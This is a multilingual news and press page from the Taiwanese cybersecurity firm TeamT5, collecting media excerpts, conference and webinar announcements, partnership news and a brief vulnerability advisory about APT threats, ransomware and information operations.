But with Washington stymieing China’s progress, there is also speculation that Beijing could resort to stealing chip IP, with Taiwan at the heart of those endeavors.

Taiwanese cyber security firm TeamT5 has observed a steady increase in attacks on the island’s chip industry corresponding to the tightening of U.S. export controls on China. While it’s not always possible to know if these are Chinese state actors, “they are all attacking the Taiwanese semiconductor industry,” Shui Lee, a T5 cyber threat analyst, said.

Fellow analyst Linda Kuo said the Taiwanese government was alarmed by a ransomware attack on TSMC in 2018 and had announced plans for some $500 million to help the industry become more aware of cyber security issues.

[Read more](https://www.bloomberg.com/news/features/2021-01-25/the-world-is-dangerously-dependent-on-taiwan-for-semiconductors)

【Bloomberg】The World Is Dangerously Dependent on Taiwan for Semiconductors

圖片來源：經濟日報

資訊安全要從自我防疫做起。杜浦數位安全（TeamT5）執行長蔡松廷說，所謂自我防疫指的是透過專業資服業者提供報告，以其報告針對弱點加強，非等受到駭客攻擊才補強外，可避免導入不符需求的資安產品。

蔡松廷表示，該公司於 2017 年成立，但在 2014 年團隊即投入資安研究報告服務，當時政府及企業對此資安服務接受度低，反觀日本企業能接受，因此初期以日本市場為主。近年在資安等同國安的政府施政方針，杜浦數位安全提供的報告服務受到重視，多個政府單位均是合作夥伴外，目前杜浦數位安全還串起自有外部產品，強化使用方從預防再到解決問題的能力。

[點此閱讀完整報導](https://money.udn.com/money/story/5640/5131532)

【經濟日報】杜浦數位安全：做好自我防疫 企業資安築高牆

圖片來源：[Pixabay](https://pixabay.com/photos/internet-cyber-network-finger-3484137/)

教育部資訊安全人才培育計畫於 2020 年 12 月 12 日（六）在財團法人張榮發基金會國際會議中心舉辦「總期程期末成果展」，除了以動、靜態展示計畫四年期間的成果，也邀請優秀學員進行資安專題講座和資安學習分享。現場更設立企業資安徵才攤位，吸引許多對資安產業實習與就業有興趣的同學報名參加。

![1212-1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608110218/1212_1_2358ec7703.jpg)
_TeamT5 企業資安徵才攤位的諮詢人潮不斷_

 

一直以來，TeamT5 在計畫中擔任資安實務導師，包括 TeamT5 創辦人兼執行長蔡松廷，以及資深研究員 Kenny，提供來自資安業界的實戰經驗與資源，共同指導學員，希望能一同培育更多台灣未來的資安新血。

![1212-2.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608110218/1212_2_fa53f65795.jpg)
_TeamT5 企業徵才交流場次吸引許多對資安產業實習有興趣的同學_

 

TeamT5 惡意程式研究員廖子慶（DuckLL）也是資安人才培育計畫的畢業學長，在這場「成發」中，他也上台和大家分享參與計畫的心路歷程，以及加入 TeamT5 的工作日常。

![1212-3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608110218/1212_3_72036b736a.jpg)
_TeamT5 惡意程式研究員 DuckLL 以計畫畢業學長身份，分享如何成為威脅情資研究員的心路歷程_

TeamT5 參加教育部資安人才培育計畫期末成果展

圖片來源：[Pixabay](https://pixabay.com/illustrations/ransomware-cyber-crime-attack-5231739/)

鴻海墨西哥廠傳出遭到勒索軟體「doppelPaymer」攻擊並要求高額贖金。其實今年以來國內已有台塑、中油、Garmin，國外也有本田汽車、卡普空等大型企業受害。層出不窮的被駭事件持續發生，手法愈來愈高明，企業不堪其擾，到底該怎麼防範？

TeamT5 杜浦數位安全執行長蔡松廷指出，由於企業擔心機敏資料遭毀損或洩露，支付贖金的意願高，加上駭客利用跨國運作、虛擬貨幣支付贖金等方式讓司法追查難上加難，都讓類似的勒索模式近年來越來越常見。

他表示，企業遭受攻擊時切勿在情急下輕易支付贖金，應先檢視、刪除系統內所有駭客留下的後門，並找出入侵根因，防堵再度入侵的可能性。


[點此閱讀完整報導](https://money.udn.com/money/story/5612/5079055)

【經濟日報】鴻海也遭駭客入侵 企業到底該如何防範？

圖片來源：[Pixabay](https://pixabay.com/photos/hacking-cybercrime-security-2300793/)

一般民眾可能並未警覺，光是從一張在 Instagram 的照片，駭客就可以找出個人所在位置與相關個人資訊。

而你我身旁的資安風險只會越來越高。「因為疫情的影響，全球網路使用的頻率增加了、在家上班越來越普及，這個情況導致網路攻擊的頻率也跟著升高。」TeamT5 執行長蔡松廷表示。駭客攻擊在 COVID-19 疫情發生後上升的態勢，早已是資安業界的共識。

###「在家工作」掀起 VPN 需求，企業內網資安面臨嚴重考驗

不只是個人資訊安全風險越來越高，企業面臨的資訊安全風險也同樣逐年高升。尤其在疫情發生後，企業內網的安全性受到了「在家工作」趨勢的嚴峻挑戰。

蔡松廷就指出，疫情後可以看到企業資訊安全可攻擊的面向增加，特別是因為員工必須在家上班，家中電腦的資安防護並未像企業內部電腦這麼高，加上頻繁使用 VPN，連線到企業內網的裝置大幅增加，使用的複雜度增加，對於公司內部負責網路裝置的人員來說，要判讀員工使用 VPN 是否造成異常的難度也大幅提升。

事實上，今年在疫情發生之後，就有許多企業與政府機關，因為 VPN 的使用，被駭客攻入內網造成資安的威脅。「從 VPN 找破口攻擊，就可以直搗核心，直接朝企業內網下手。」蔡松廷說。

一旦內網被入侵，包含公司員工的個人資訊、公司內部資訊，甚至是公司業務或技術研發技術資料都可能被盜、被鎖定或被威脅刪除。一位資安專家透露，今年不乏小型公司遭駭客鎖定勒索，更甚者是有同一間公司反覆被勒索。更糟糕的是，若內部資訊已遭駭客劫持，「大概只有付贖金才有機會拿回資料，或甚至拿不回資料」，專家不諱言。

[點此閱讀完整報導](https://technews.tw/2020/11/19/information-security-special-story/)

【TechNews】一鍵風暴》我們與資安風險的距離！數十兆元地下經濟來自你我的輕忽

*Image courtesy of CODE BLUE from https://codeblue.jp/2020/en/

CODE BLUE 2020 is held online for two days on October 29th and 30th due to the COVID-19 pandemic. And TeamT5 is thrilled to be sponsoring and participating in this top-class information security conference in Japan.
 
We are very honored to attend this virtual event this year, and our cyber threat analysts and malware researchers are going to talk at CODE BLUE 2020. We also organize a workshop together with our partner, Terilogy Worx Corporation. Join us and don't miss out on this fantastic event!

Here is an overview of our speech and workshop.

### Speech

- **Law & Policy | Dissecting China’s Information Operations with Threat Intelligence**

Our cyberthreat analysts Che Chang and Silvia Yeh will share their findings on China’s Information Operations on social media platforms.

![twitter_talk1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk1_0dcc012fee.png)

 

- **CyberCrime | Operation I am Tom: How APT Actors Move Laterally in Corporate Networks**

Our CTO Charles Li and malware researcher Aragorn Tseng will present lateral movement methods to penetrate corporate network environments and techniques to bypass security monitoring systems.

![twitter_talk2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk2_96b51874a6.png)

 
 
- **Open Talk | Cyber Cold War and Tensions – The Critical Infrastructures Are Under Attack**

Our CEO, Sung-ting Tsai (TT), will share the experience we have learned from the security incidents in Taiwan, especially for the attacks targeting critical infrastructures.

![twitter_open-talk](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_open-talk_855b5d4b4b.png)

 

### Workshop: APT Malware Analysis 101

TeamT5 and our partner, Terilogy Worx Corporation, co-host a virtual workshop on CODE BLUE 2020. Our Lab Engine and Global Support team will demonstrate basic techniques of reverse-engineering malware with our threat hunting tool - ThreatSonar. This workshop is available in English and Japanese (consecutive interpretation).

![twitter_worksop](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_worksop_fb1cf3480a.png)

- **Speakers**
 - TeamT5 Lab Engine & Global Support
 - Terilogy Worx Corporation, Director, Business development, Yoichi Matsuura

- **Abstract**

This workshop will teach you about the basic technique of reverse-engineering malware, and how to analyze it according to OSINT. We will focus on two of the most dangerous malware this year: BigPooh (LODEINFO) and LNCookie (TSCookie Linux version) based on both Linux and Windows OS. You will learn a lot of practical concepts when analyzing APT malware. Furthermore, we will also show you how to proceed with analysis and threat hunting by using our simple/light-weight tool - ThreatSonar.

- **Location**: via Google Meet. Registration form on CODE BLUE [EventHub](https://client.eventhub.jp/ticket/tZ8hp0-Qk).

![register2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603770757/register2_ef67e87cf1.png)
_Registration Guide for TeamT5 Workshop_

 

### What’s CODE BLUE?

CODE BLUE is Japan’s largest international information security conference, which aims to contribute to a better Internet world by connecting people through CODE (technology), beyond and across the BLUE (oceans). Every year, the world’s top-class specialists and researchers gather together to share their latest findings and give cutting-edge talks. It is a place for all participants to exchange information and collaborate to respond to and solve information security problems.

More information on CODE BLUE 2020 [Official Website](https://codeblue.jp/2020/en/).

TeamT5 Exhibits at "CODE BLUE 2020" Virtual Event

*Image courtesy of CODE BLUE from https://codeblue.jp/2020/en/

今年のCODE BLUEは10月29日、30日の両日、COVID-19の影響によりオンラインで開催されます。Team T5は、日本でトップクラスのこのセキュリティカンファレンスにスポンサーとして参加できることを非常にうれしく思います。

私たちはこのバーチャルイベントに参加し、また、我々のサイバー脅威分析官やマルウェア分析官がCODE BLUE 2020のスピーカーとして登壇できることを誇りに感じております。 

ここで、CODE BLUE 2020で私たちが予定しているイベントについてご紹介しましょう。

### スピーチ

- **法とポリシー：「脅威インテリジェンスによる中国の情報操作の分析」**

私たちのサイバー脅威分析官であるチェ・チャンとシルビア・イェが、中国のソーシャルメディアプラットフォームにおける情報操作についてご説明します。

![twitter_talk1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk1_0dcc012fee.png)

 

- **サイバー犯罪：「Operation I am Tom：企業ネットワークにおいてAPTアクターがその内部で移動する方法」**

Team T5のCTOであるチャールズ・リーとマルウェア分析官のアラゴルン・ツェンから、企業ネットワークにおけるラテラルムーブメントの手法とセキュリティモニタリングシステムのバイパス手法についてご説明します。

![twitter_talk2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk2_96b51874a6.png)

 
 
- **オープントーク：「サイバー冷戦と緊張 ― クリティカルインフラストラクチャは攻撃されている」**

Team T5のCEOであるSung-ting Tsai(TT)が、私たちが実際に台湾で経験したセキュリティインシデントから学んだ経験から、とくにクリティカルインフラストラクチャを目標にした攻撃に関してお話しします。

![twitter_open-talk](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_open-talk_855b5d4b4b.png)

 

### ワークショップ：APTマルウェア分析入門

TeamT5のLab Engine & Global Supportチームとパートナーのテリロジーワークスによる、ワークショップです。脅威ハンティングツールである「ThreatSonar」を用いたマルウェアのリバースエンジニアリングのための基本テクニックを、日英両言語で説明します。

![twitter_worksop](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_worksop_fb1cf3480a.png)

- **スピーカー**
 - TeamT5 Lab Engine & Global Support
 - 株式会社テリロジーワークス　ディレクター　ビジネス開発担当 松浦　洋一

- **要約**

このワークショップではマルウェアのリバースエンジニアリングに必要な基礎テクニックとＯＳＩＮＴを用いた分析方法について説明します。今回はLinuxおよびWindows環境の2つの最も危険度の高いマルウェア「BigPooh(LODEINFO)」と「LNCookie(TSCookie Linux version)」に注目して分析を行いますので、APTマルウェアの解析に必要な多くの実践的なコンセプトを学ぶことができます。また、分析と脅威ハンティングに最適な弊社ツール「ThreatSonar」を用いた手法についてもお話しします。

 

- **開催はCODE BLUE [EventHub](https://client.eventhub.jp/ticket/tZ8hp0-Qk)が提供するGoogleMeetで行います。**

![workshop_jp instruction](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603935671/workshop_jp_instruction_653442301b.png)

 

### CODE BLUEとは？

CODE BLUEは日本で最大級の情報セキュリティカンファレンスであり、CODE(技術)を通じて人々を結び、BLUE(海原)を超えて集うことにより、より良いインターネット世界に貢献することを目的としています。毎年世界中からトップクラスのスペシャリストやリサーチャーが最新の発見や最先端の話題を持ち寄って集まっています。ここはすべての参加者にとって、様々なセキュリティ問題に関して情報交換し、協力しながら対応、解決していくための場なのです。

さらに詳しい情報はCODE BLUE 2020オフィシャルサイトへどうぞ。

https://codeblue.jp/2020/en/

TeamT5 は“CODE BLUE 2020”オンラインイベントに登壇します

全球知名的資安威脅情資平台業者 Anomali，與我國最具潛力的資安新創業者 TeamT5 杜浦數位安全於日前結盟。TeamT5 在亞太區 APT 攻擊領域的洞察研析能力深受各方肯定，未來 Anomali 威脅情資平台上將收錄 TeamT5 的情資，使全球的 Anomali 用戶能掌握更全面且獨到的威脅資訊。

此次的合作對資安界及雙方的用戶而言都深具意義。Anomali 台灣總代理衡崴科技（Apertex）總經理林大森表示，Anomali 身為情資平台的領導者一直致力於收錄更廣泛、更多元的資安威脅情資，台灣則因地緣政治因素經常能率先掌握大陸及北韓的各種新資安攻擊樣態，而 Anomali 引進 TeamT5 的專業情資，將有助於全球的 Anomali 用戶對亞太區的 APT 攻擊及早因應、提前佈署。

TeamT5 成為 Anomali 在亞太區 APT 情資合作的首要夥伴具有雙重意涵，TeamT5 執行長蔡松廷進一步說明，Anomali 與 TeamT5 的合作讓用戶擁有更高的威脅能見度，同時 TeamT5 品牌也因此在全球資安情資需求者、需求市場中提高了知名度。

展望後續，美、中正進入全層面、全維度的競賽，除軍事、貿易、科技外亦在資通訊活動上較量，即資訊冷戰，無人能置身事外。此次 Anomali 與 TeamT5 的結盟也意味著美、台聯防互補的成形，期合作的綜效能為廣大企業在積極完備資安上更盡心力。

TeamT5 聯手 Anomali  台美資安合縱聯防

CYBERSEC 2020 臺灣資安大會將在 8 月 11 日至 8 月 12 日，於南港展覽二館盛大登場，TeamT5 杜浦數位安全等您一起來揭開 APT 攻擊族群的真面目！我們還有一系列精彩講座，歡迎您來聽聽最新的資安新知，TeamT5 執行長蔡松廷（TT），也會登台和大家分享資安事件應變與台灣資安人才培育的經驗。

 

#### 來 #53 攤位找 TeamT5！
時間：8 月 11 至 12 日 08:30 - 17:00

地點：南港展覽二館 4F #53 攤位

![展攤平面圖](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596780275/%E5%B1%95%E6%94%A4%E5%B9%B3%E9%9D%A2%E5%9C%96_085829c337.png)

 

#### TeamT5 展攤活動
- 大會展攤集點、追蹤Twitter，就送您精美攻擊族群小卡和貼紙
- 現場填寫問卷、留資料，立即送「工藝級鶯歌陶瓷吸水杯墊」乙個

 

####大會講座資訊
本屆資安大會，TeamT5 強大的講師陣容將登台演講，五場講座主題包羅萬象，除了討論近期資安事件與企業資安防護建議，還有 TeamT5 資安專家帶大家實戰演練資安事件調查。我們的漏洞研究專家 D39，也會在大會分享黑帽議程的重大研究發現。千萬別錯過我們的精彩講座！

 

** 1. 【資安事件實戰演練】**

APT 攻擊手法複雜多樣，企業受駭也不知該從何找起入侵來源。TeamT5 工程師 Zet 和 Tom 將在本場講座，帶大家從資安事件調查的實戰演練，拼湊攻擊事件原貌。

![Twitter_Post_zet+tom](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596768395/Twitter_Post_zet%2Btom_376cfb0899.jpg)

 

** 2.【CSIRT 面面觀座談】**

面對層出不窮的資安問題，許多企業開始打造資安事件應變團隊（CSIRT）。TeamT5 執行長蔡松廷（TT）將在本場講座，從團隊角色、分工與溝通等面向，談談一個 CSIRT 該如何有效運作。

![Twitter_Post_TT_CSIRT](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596768395/Twitter_Post_TT_CSIRT_f1123c2a93.jpg)

 

** 3.【大大們的 Free Talk】**

為什麼企業總是找不到資安人才，而駭客們老是抱怨找不到工作？TeamT5 執行長 TT 大大將分享他對台灣資訊安全、技術提升與資安人才培育的意見。

![Twitter_Post_TT_FreeTalk](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596768396/Twitter_Post_TT_FreeTalk_6754b55759.jpg)

 

** 4.【為什麼勒索軟體無法根絕】座談會**

隨著攻擊手法日新月異，勒索軟體災情不斷擴大，TeamT5 執行長蔡松廷將在這場座談會，和大家聊聊最近的勒索軟體事件，以及給企業的防護建議。

![Twitter_Post_TT_座談會](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596768395/Twitter_Post_TT_%E5%BA%A7%E8%AB%87%E6%9C%83_32d2662ff8.jpg)

 

** 5.【黑帽議程】Breaking Samsung's Root of Trust - Exploiting Samsung Secure Boot**

TeamT5 資深研究員將在此議程介紹他們在 Black Hat USA 2020 發表的三星漏洞研究。

![Twitter_Post_Jeffxx](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596768396/Twitter_Post_Jeffxx_c90280889a.jpg)

【CYBERSEC 2020 台灣資安大會】展攤與演講活動資訊

*Image courtesy of Black Hat from https://www.blackhat.com/us-20/

We were glad to announce that TeamT5 was again accepted at Black Hat USA. And this time, our vulnerability research team, D39, presented their latest exploit research on Samsung S10 secure bootloader at the Black Hat Briefings. We were very honored to share our research findings with researchers and security experts all over the world in this annual flagship conference.

![BHUSA_cover](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596699298/BHUSA_cover_48fcf0b266.jpg)
_TeamT5's vulnerability researcher presented on Black Hat USA 2020._

D39 has been focusing on vulnerability research and has identified several critical security flaws. We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. In Black Hat USA 2020, we elaborated how did we discover and exploit the vulnerabilities in detail, demonstrated the exploit on a Samsung Galaxy S10 smartphone, and had a discussion on the possible impact of these vulnerabilities.

![Disclosure timeline](https://res.cloudinary.com/dvgomg5gh/image/upload/v1596699297/Disclosure_timeline_422975e76a.jpg)
_Timeline of the vulnerability disclosure, patch release and assignment of SVE IDs._

Black Hat is the world’s leading information security event, and remains the best and biggest event of its kind. It provides attendees with cutting-edge security research, development and trends, and has the ability to define tomorrow’s information security landscape. Black Hat USA 2020 went fully virtual this year, held over the same dates from 1 to 6 August, in light of the coronavirus pandemic.

Black Hat’s Talk: D39 Shares Their Research on Breaking Samsung Secure Boot at Black Hat USA 2020

**Time** | Tuesday, 4 August 2020, 3:00 - 4:00 pm (GMT+8)

**Registration** | Please contact our sales and get the registration link: <sales@teamt5.org>

 

Taiwan's 2018 municipal elections and 2020 general elections were both under the great threat of Information Operation (InfoOp). To influence the outcome of elections, state-backed threat actors have exploited the features of social media environment to conduct InfoOps, which involves the spread of disinformation, hate speech, and propaganda. Their operations had polarized and manipulated the voters, which in turn polluted the digital information ecosystem.

Join TeamT5's exclusive live webinar, and hear our cyber threat intelligence analysts, Che Chang and Silvia Yeh, to grasp the basic understanding of InfoOp in Chinese-language cyberspace, and how China conducts InfoOp on social media platforms.

**Register for this webinar to discover:**

- What is Information Operation (InfoOp) and how does it endanger the users on social media platforms?
- How do we contribute to the fight against InfoOp in 2020 Taiwan Presidential Election?
- How does China conduct InfoOp in pursuit of its political interest?

*Note: This live webinar will be offered in English only.

 

####Speakers
**Che Chang** is a Cyber Threat Analyst and the co-author of "TeamT5 Information Whitepaper." He focuses on underground markets research and state-sponsored Information Operation (InfoOp). Che is the invited speaker of many global and regional conferences, including 2020 April vGCTF workshop on Combatting COVID-19 Disinformation, 2019 Cybersec in Taiwan, a closed-door meeting of Taiwan Academia Sinica, etc.

**Silvia Yeh** is a Cyber Threat Analyst at TeamT5 Cyber Intelligence Team and the co-author of "TeamT5 Information Whitepaper." She focuses on issues related to Information Operations (InfoOps) and is currently responsible for cyber policies analysis of China and other Asia-Pacific countries.

Live Webinar: Dissecting Information Operation in Chinese-language Cyberspace

文／羅正漢 | 圖片來源：[Pixabay](https://pixabay.com/photos/cyber-security-smartphone-cell-phone-2765707/)

記取過去 SARS 慘痛教訓，政府開始建立疫情指揮中心，並在這次防疫過程扮演關鍵角色，相對地，企業面對重大資安事件時，不僅要具備資安應變團隊，背後也要有編組與演練的配合。

[點此閱讀完整報導](https://www.ithome.com.tw/news/138882)

【iThome】從「疫情指揮中心」學防駭：面對資安事件不能群龍無首，必須建立資安應變團隊

圖片來源：卓越雜誌

TeamT5 杜浦數位安全榮獲科技部「科技大擂台二：AI攻防戰決賽」競賽肯定，奪冠獲五百萬元創新企業鼓勵，致力於全球資安威脅情資的研究，分析攻擊者來源及攻擊行為，客戶來自於全球各地，包含台灣政府單位，執行長蔡松廷是白帽駭客圈赫赫有名人物，攜手國家一起培育台灣未來資安人才。

[點此閱讀完整報導](http://www.ecf.com.tw/tw/article/show.aspx?num=5724&kind=77)

【卓越雜誌 411期】TeamT5 杜浦數位安全 領航全球市場

TeamT5 and Macnica Networks have published our joint research on APT attacks targeting Japan over the past year. In this collaborative research, we provide valuable insight into four advanced persistent threat (APT) groups and actors. The full report will first be available in Japanese and can be accessed at Macnica Networks' website.
 
The APT groups' highlighted in this joint project were believed to have been launching cyber espionage campaigns elsewhere in the world. To enhance APT defense strategies, we take a closer look at the four APT groups, including DarkHotel, Huapi (BlackTech), Nian (Tick), and one unclassified backdoor LODEINFO. These APT groups have been threatening crucial sectors in Japan, such as government, military and defense, manufacturing, telecommunication, education, media, and etc.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590655880/APT_Attack_Timeline_2019_2da7de1832.png)
_The attack timeline of the APT groups' campaigns in Japan in 2019._

Macnica Networks is one of the largest system integrators (SI) in Japan. As a leading network distributor, it provides a wide range of advanced network products and information technology to government offices, educational institutions, and general companies.

To access the full report, please visit: [https://www.macnica.net/mpressioncss/feature_06.html/](https://www.macnica.net/mpressioncss/feature_06.html/ "https://www.macnica.net/mpressioncss/feature_06.html/")

TeamT5 and Macnica Networks Release Joint Project on 2019's APT Attacks in Japan

新冠肺炎疫情打亂日常生活步調，為減少群聚接觸，遠端工作、在家上班（Work From Home）成為企業因應疫情的方案之一。然而，遠距視訊會議和在家上班的網路環境，都很容易成為企業遭受駭客攻擊的破口。加上近日中油、台塑化等資安事件頻傳，政府與企業對資安風險的疑慮持續升高，擔心成為下一個受害者。

如何應對遠端工作的資安防禦，成為目前企業最關心的議題。 TeamT5 執行長蔡松廷（TT）於5月8日下午，受邀出席由經濟部工業局與工業技術研究院主辦的「SECPAAS資安小聚」直播企劃，分享企業遠端工作的資安防護要點。

![text](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590655604/secpaas_TT_779a614703.png) _TeamT5 執行長蔡松廷上直播分享企業資安防禦小撇步_

TeamT5 團隊長期觀察、研究網路威脅，發現在疫情期間，駭客的攻擊手法也「與時俱進」。隨著全球遠距工作需求提高，駭客開始在黑市以高價收購視訊會議軟體漏洞，目的就是要竊取會議內容，或者透過漏洞攻擊使用者電腦。除了線上會議系統的資安問題，VPN（Virtual Private Network，虛擬專用網路）漏洞與攻擊也是新的挑戰。

TeamT5 執行長蔡松廷強調，遠端工作的資安防護，不只要從管理層面調整（例如訂定在家上班規範），技術層面的安全升級也相當重要。企業必須找到「New normal」（新常態），而且不只在這次疫情期間，甚至未來也應該持續調整、設計更新且更周嚴的資安防護概念，以對抗複雜多變的駭客威脅。

TeamT5 執行長蔡松廷參加「SECPAAS資安小聚」直播，分享後 COVID-19 時代的企業資安防禦小撇步

TeamT5's ThreatVision APT identification engine is now integrating with PolySwarm malware analysis platform to help power the growing crowdsourced malware analysis marketplace.

PolySwarm is a crowdsourced malware analysis platform specialized in new and emergent threats. It is powered by a network of research-driven engines, like TeamT5, which are highly specialized and focused on detecting the latest malware. Unlike in other multiscanners, engines in PolySwarm are incentivized to respond just when confident, and are compensated based on performance, improving signal-to-noise ratio and reducing false positives. Multiscanning, threat scoring and hunting in a single platform give analysts a novel tool to detect, analyze and respond to threats.

TeamT5's alliance with PolySwarm will be beneficial to our specialized research in APT intelligence in Asia-Pacific. And we as a team will definitely bring the experience of our clients to the next level.

With TeamT5's solid technical background and frontline expertise, we provides more in-depth information about the malware, such as threat level, adversary and linkage discovery information, to help our clients dealing with the APT attacks they are facing from all over the world.

TeamT5's ThreatVision Cyber Threat Intelligence Platform Joins PolySwarm Malware Analysis Marketplace

TeamT5 攜手日商 Macnica Networks 與 Terilogy Technology 合作提供「企業 APT 攻擊防疫計畫」，協助日本境內關鍵基礎設施（Critical Infrastructure）的相關企業在新冠肺炎疫情期間對抗 APT 攻擊（Advanced Persistent Threat）。

「企業 APT 攻擊防疫計畫」將使用 ThreatSonar 掃描與診斷 14 個關鍵基礎設施產業，包括：政府、軍事國防、情報通信、金融、航空、鐵路、電力、水利、醫療、物流、化學、石油瓦斯及半導體等。我們的威脅診斷工具 ThreatSonar 可協助企業防範資安事件於未然，及早偵測潛藏的 APT 風險。

同時因應台灣各大企業，尤其是關鍵基礎設施營運單位，在疫情時期大幅上升的資安危機，TeamT5 同時推出「遠端辦公防疫計畫」（WFH Cloud Program）來替各大企業診斷與辨認一般防毒軟體無法有效守備的 APT 攻擊。

關於日本境內的「企業 APT 攻擊防疫計畫」申請方式與服務內容，請洽詢當地代理商來了解更多申請資訊與適用辦法。至於台灣的「遠端辦公防疫計畫」，請洽台灣業務。

TeamT5 聯手 Macnica Networks 與 Terilogy Technology，幫助「關鍵基礎設施」對抗 APT 攻擊

文／羅正漢

近日臺灣學術網路上有一圖書館網站，被發現遭中國駭客組織 HUAPI 上傳後門程式 BiFrost，根據臺灣資安業者 TeamT5 調查，該網站系統使用 Tomcat Server，但存在 Ghostcat 漏洞（CVSSv3.1 為 9.8 分）未修補的情況。

[點此閱讀完整報導](https://www.ithome.com.tw/news/137074)

【iThome】Tomcat Server 存在 Ghostcat 漏洞，有中國駭客在臺灣校園網站上傳 BiFrost 後門程式

photo courtesy of: pixabay.com

Our senior security researcher Shih-Fong Peng (@_L4ys), has found a critical vulnerability in Microsoft Windows. This vulnerability is officially defined by MITRE as CVE-2019-1188 (LNK Remote Code Execution Vulnerability).

TeamT5 suggests our clients to update this patch immediately. This vulnerability could allow attackers obtain privilege of the local user. Users should be vigilant of any suspicious removable drive or remote share for holding malicious .LNK file. If the .LNK file is parsed by any application, it could allow remote code execution and make system under the control of attackers.

More Details of CVE-2019-1188:

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1188

More Detail of the Microsoft Patches in August 2019:

https://portal.msrc.microsoft.com/en-us/security-guidance

TeamT5 Lab Found a Critical Vulnerability in Microsoft Windows

### **TeamT5's technology "ThreatSonar" wins the finals of MOST's "Formosa Grand Challenge 2: S-FUND", taking home TWD 5 million in prize money as start-up funds.**

_(Reference: www.most.gov.tw)_

TeamT5 has won the final competition of the "Formosa Grand Challenge 2: S-FUND", which was held by Ministry of Science and Technology (MOST) and jointly implemented by the Science & Technology Policy Research and Information Center (STPI) and the National Center for High-performance Computing (NCHC). TeamT5 was awarded TWD 5 million and received praises from the review board. The Ministry of Science and Technology looks forward to their more completed business models in addition to advancing their technologies further and having a place in the field of international information security protection.

The "Formosa Grand Challenge 2: S-FUND" competition was held from May 2015, offering challenges for companies to solve IT security issues. Participating teams are free to propose solutions to subjects such as "Assisting in the resolution of potential threats", "Improving IoT security", "AI security threats and defense technology development", and "Other applications of cybersecurity technology". More than 20 teams registered to participate in the competition. The TeamT5 security team has performed with their AI developed technology "ThreatSonar Endpoint Intelligent Threat Identification Platform" and finally won the competition after going through all the stages over the past year.

From:

The Ministry of Science and Technology

https://www.most.gov.tw/folksonomy/detail?subSite=main&article_uid=30d3f20d-2fd0-4b0e-b7ba-2ead02e0e651&menu_id=9aa56881-8df0-4eb6-a5a7-32a2f72826ff&l=CH&utm_source=rss

The Science & Technology Policy Research and Information Center (STPI)

https://www.stpi.narl.org.tw/public/show.htm?id=4b1141646ad4bbb2016b4ef9ed357b30


PersistentCyber Threat Hunters

解決方案

Designed for APT & Ransomware Protection

An Engine to Hunt down Intruders

A Portal to See Through the Chaos

PARTNERS

部落格

北韓駭客Konni瞄準俄羅斯政府進行APT入侵攻擊

Apache HTTP Server(Windows) 2021高風險安全漏洞詳解

Assassinations of "MiniNinja" in Various APAC Countries

有效抵禦勒索軟體攻擊，唯有「全面防堵」

最新消息

預防勒索軟體3大關鍵杜浦數位安全於國際半導體展不藏私分享

TeamT5 獲 ISO/IEC 27001:2013 驗證，具備資安服務高標準

第二屆 TeamT5 Security Camp 資安培訓營～開跑囉

【TeamT5 x CODE BLUE 2021】Because Security Matters

PersistentCyber Threat Hunters

Designed for APT & Ransomware Protection

An Engine to Hunt down Intruders

A Portal to See Through the Chaos

PARTNERS

部落格

北韓駭客Konni瞄準俄羅斯政府進行APT入侵攻擊

Apache HTTP Server(Windows) 2021高風險安全漏洞詳解

Assassinations of "MiniNinja" in Various APAC Countries

有效抵禦勒索軟體攻擊，唯有「全面防堵」

最新消息

預防勒索軟體3大關鍵 杜浦數位安全於國際半導體展不藏私分享

TeamT5 獲 ISO/IEC 27001:2013 驗證，具備資安服務高標準

第二屆 TeamT5 Security Camp 資安培訓營～ 開跑囉

【TeamT5 x CODE BLUE 2021】Because Security Matters

預防勒索軟體3大關鍵杜浦數位安全於國際半導體展不藏私分享

第二屆 TeamT5 Security Camp 資安培訓營～開跑囉